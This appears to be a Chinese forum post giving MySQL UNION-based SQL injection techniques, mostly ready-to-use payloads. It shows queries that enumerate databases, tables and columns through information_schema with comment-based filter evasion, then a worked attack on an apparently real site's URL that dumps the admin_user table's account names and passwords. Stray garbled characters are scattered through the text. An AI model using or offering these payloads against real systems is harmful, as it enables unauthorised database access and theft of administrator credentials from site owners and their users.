mysql注入技巧

admin

查库
7 V1 z: j. K' U4 r% W7 u9 i
id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

$ H1 q. [  X% g, y1 Z查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1

/ d9 u5 Y6 q3 y: D% X" E. [( Q: k! H查段

  [( l  U6 k- s1 zid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1


0 u4 R7 r4 P& j9 D6 d8 ^mysql5高级注入方法暴表

例子如下:
2 P: m8 F3 N2 j) s: i2 ?1 a
! q( i9 q* u4 Y& y' |1.爆表
7 c! i7 q7 C! u) J. }/ phttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
# u8 x+ y1 L! |! b这样爆到第4个时出现了admin_user表。

5 w* d, g5 T/ A% b0 z6 k2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
2 p3 B" I1 @# X  v, ~7 Z( j; S7 k3 t/ z
* w: B+ d- }" f& o
3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*


9 u6 b1 P3 T. |/ ^